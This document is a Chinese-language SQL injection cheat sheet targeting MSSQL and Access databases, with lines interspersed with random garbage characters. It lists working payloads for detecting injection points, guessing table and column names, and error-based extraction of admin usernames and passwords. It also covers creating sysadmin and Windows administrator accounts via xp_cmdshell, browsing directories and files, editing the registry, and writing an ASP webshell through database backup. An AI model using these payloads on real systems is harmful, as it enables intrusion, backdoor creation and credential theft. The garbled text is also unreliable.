1.判断是否有注入
* }; \4 Z0 \! t6 z;and 1=1
! F& t( m; s. t4 y9 x+ y" T9 b;and 1=2
5 n# W& x# h) z& a
8 v6 ~7 Y; d! X! s" y+ X5 v2.初步判断是否是mssql * e: A W. n; o" ^, o
;and user>0 @" a6 f+ ]; c K& W, _9 X7 o0 S3 D
) @3 i& J" f4 j, T3.判断数据库系统
- ~3 Y$ u5 W& d4 k& c8 c. x;and (select count(*) from sysobjects)>0 mssql
' _- O9 x5 R+ K: R9 Y) G;and (select count(*) from msysobjects)>0 access
" e5 `3 W, u7 L
2 ^; D7 e4 q' G* |7 l% S4.注入参数是字符 / ]& E6 U s6 J. Y2 C$ `4 ^
'and [查询条件] and ''=' / E8 t* X, e; C/ Z6 ]- H- k" O
+ x+ {3 t' Q% s6 A5 Q
5.搜索时没过滤参数的
9 C3 E, p- M! P- A8 L8 T'and [查询条件] and '%25'='
. |2 T+ G, s" K: o ?+ d1 e! U" p; H: d
6.猜数表名 ) F" J* |: ]$ M- R. @5 R
;and (select Count(*) from [表名])>0 & o; o: K2 N) z8 p B6 v8 _
8 H! D4 e) L- V& W2 K7 {9 @$ X
7.猜字段
. A, D, K2 Q% T% B3 K$ u4 [;and (select Count(字段名) from 表名)>0 + I4 n' j# V4 ]
/ L. }: g6 p- J8.猜字段中记录长度
1 y' M8 D' V* r& h: o;and (select top 1 len(字段名) from 表名)>0
0 r% Y: C8 M! R o& b7 W0 H' z9 Z
0 o! R0 K0 |& `9 Z& t* B9.(1)猜字段的ascii值(access) & Y/ y. t' e6 T, Q8 I5 }
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 - L9 c) j% L" x: I
- U3 n6 M) l2 |7 @+ w7 n(2)猜字段的ascii值(mssql) $ [5 I! @6 y* r
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
, R; F; {$ Z7 u5 f8 k4 c, y0 E5 `' S- m( I% m
10.测试权限结构(mssql) - i% @- \5 N1 b
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- $ n' E& j" Z9 o
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 7 t( ~: o) Q, [% [; Z3 h1 H
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 2 y7 [8 A9 }( {, V! X
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 4 }0 u! l3 y1 b; j! \5 x
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8 d, C* a9 e/ s( g& z! E
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- % l- `$ b0 U" X8 k; Z& _1 E" ^2 I
;and 1=(select IS_MEMBER('db_owner'));--
2 S& X# m7 y- F0 E7 C) z! Z2 S4 c
11.添加mssql和系统的帐户
$ W' X- N& S! z9 |! D;exec master.dbo.sp_addlogin username;-- , {* x* N3 H( }" b% T4 ?
;exec master.dbo.sp_password null,username,password;--
; q% F' \# d. ?# I9 t" \0 c/ H;exec master.dbo.sp_addsrvrolemember sysadmin username;-- X2 Q- X. X7 a6 ] j
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- % `6 _, _. g; e3 D3 U
;exec master.dbo.xp_cmdshell 'net user username password /add';--
' v" ?- o" D1 \" V;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- . l4 e$ d+ B4 g! ~
% Q& G p& Z7 `% E4 T( w) j
12.(1)遍历目录
" g! c/ i( C8 i- z' M' i;create table dirs(paths varchar(100), id int)
! P1 p* e- c, h;insert dirs exec master.dbo.xp_dirtree 'c:\' ( _2 g) [8 z g" U4 i) _
;and (select top 1 paths from dirs)>0 9 |2 Z [. B0 D% e- {7 h
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
0 D; h8 G- b5 d1 F
- V% p8 k7 ^( v/ X9 p$ o2 r(2)遍历目录 / X0 h* b6 l% I
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- . V& v$ f) y' @% s& Z. ^" _* Y% H% }
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 4 x% _5 ?& a- v$ \
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
) i( h; u. J# ?: v n7 T;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 ( d# n' v/ `+ K3 {7 B
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
6 P2 i6 f# t4 U1 \# V- ]9 F
& m1 h5 a, q; C' ?9 t' C3 z* q13.mssql中的存储过程 & }% Q+ I5 i* h
xp_regenumvalues 注册表根键, 子键 & F' F7 c; B1 E5 u6 k/ s3 {
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 % s$ P# r0 L# _+ S5 Q
xp_regread 根键,子键,键值名
6 _) }* A# O4 _, g1 e5 @- t;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 % g7 v) v& I; Y6 K3 g
xp_regwrite 根键,子键, 值名, 值类型, 值
. f6 P: \$ ^3 c r( Z8 N4 ]1 q, A值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
# H5 u3 Y' q' I8 f! ^;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 / Y5 G6 _+ i3 m: D( c- V6 b( u
xp_regdeletevalue 根键,子键,值名
) r$ l* s# d* sexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
/ f0 Y( ^# \9 @xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( r. p- r! ^7 N- Q' r0 ^
* u6 P1 v+ ?) x# y% J5 Z/ p3 p
14.mssql的backup创建webshell 0 W: ]' L$ c& I' t: D* v
use model - f% w+ B! A( q* ]
create table cmd(str image);
8 J4 U7 @" v! ^insert into cmd(str) values ('<% Dim oScript %>');
* c/ n! d; h3 A$ j+ z6 Sbackup database model to disk='c:\l.asp'; , W( R4 ~/ E* \8 l: X: u/ G% D- K
' S; M/ P) I9 x
15.mssql内置函数 5 ^; I# Y* Y0 h! h
;and (select @@version)>0 获得Windows的版本号 " K, F) a6 T* Q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa ; s" P* e) a5 D
;and (select user_name())>0 爆当前系统的连接用户 2 U* G) Z1 k! K- T |
;and (select db_name())>0 得到当前连接的数据库 / W1 m* M& o. S S6 G, h) v/ i
' g5 T8 J3 m! Q6 j# s
. E3 Y8 R2 o: y G% E3 [' a* V. w
5 c7 ]6 c. Y# W* Q, m: W: `' e: WMSSQL手注暴库. W" M* m& v5 s4 a% [
/ k9 J* h/ _7 f; L* E+ ^
1.暴出当前表名和列名
4 y& g; `: s* ?6 }) b6 t% J1 b0 R在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
& `: r1 g7 {+ X1 D4 l: m, q; T: i: @. y
第一.爆出所有数据库名* z+ \/ _, D1 r8 S6 n
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。& t" }* ~" E5 N
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。; `8 D" C6 W, [+ |+ c9 S
: `& x6 {$ J8 m2 x* K/ ~# x
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名4 f& d$ m3 d% d- w
9 V4 k1 H R5 N
% V8 Z: `- ?8 y V. g7 ?0 N第二.爆出指定库中的所有表名. E; n( y: Q1 B& `
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
6 [4 O1 W$ o U, w! i9 q再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
. q( G( v: o% c( v7 h* j, u3 A- ~# c6 D5 r6 R. }
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--4 l4 h- z# }) P7 f$ |) C! x" @; k
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--+ Y/ W& v1 T4 Q7 s1 I( L
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--6 H4 v0 m1 x1 z5 x. H% n6 T! q
* w. c" l$ X! s% y3 p: e
4.爆出指定表中的所有列名
0 ~3 Q+ Y+ O( Y/ [$ vand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
7 e6 F$ N0 z! p- {) g0 l2 v" ?//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
' G( i, \' |# s+ B) l' U+ Y
' V: |+ P7 R1 J0 u# Y1 cand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名0 q0 c7 C3 A. e' r6 |0 ?8 h
7 O' j4 Q- i1 t$ J, q4 Z' D2 [再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- 5 X8 A1 y t4 `! K0 Z9 Q
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
. @6 N2 V6 r+ l/ f' e' \
0 I; v/ G2 l" T& p* F# C" d4 M$ F* u6 ?- q* y" ~* N
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值5 E N: P; H; T: p& u
! M: m% F) o* S+ W1 y5 ~
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名6 h( \) n; J1 G) i9 G/ t
4 h8 ?4 J0 K1 {5 i9 f- o" y, z; g6 N7 c1 b
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
# k1 F' g# J6 M; Z3 C7 `, F
4 u; P8 K, X6 L- W* I. G6 a$ v2 g) @1 [( b# a! |
( _7 e, t2 |. K/ E
5.读取指定表中的数据
* h- a. h+ O" h& u9 K$ d7 h8 n% ^+ t2 Y
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 4 _2 c% @: W3 u. N$ n `) X. O
9 }! D0 y* n; j1 D- l1 x- L
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--/ b& @! K) B0 q0 a& |) _7 F* X6 g
) G) s5 {% L. V4 }5 [0 `, L' |3 Z
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码8 Q, y5 Y9 h! t! F! ~6 ~
8 T( N* P+ }6 B% [- j8 I+ L
; a! T6 |4 Y; |4 G" j" \$ Band 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
. H, [ s$ x" M, L% n
, d7 U7 {; i% p8 `( xand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)' ^/ c/ n% |+ V u
& p. X. U) K" s% s2 C/ Q, vand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--4 g$ e# }" d1 H; ^
9 J' ~/ u. _* S' V) K* [: _. w9 \. Q知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。, G2 Z" }: b1 b
|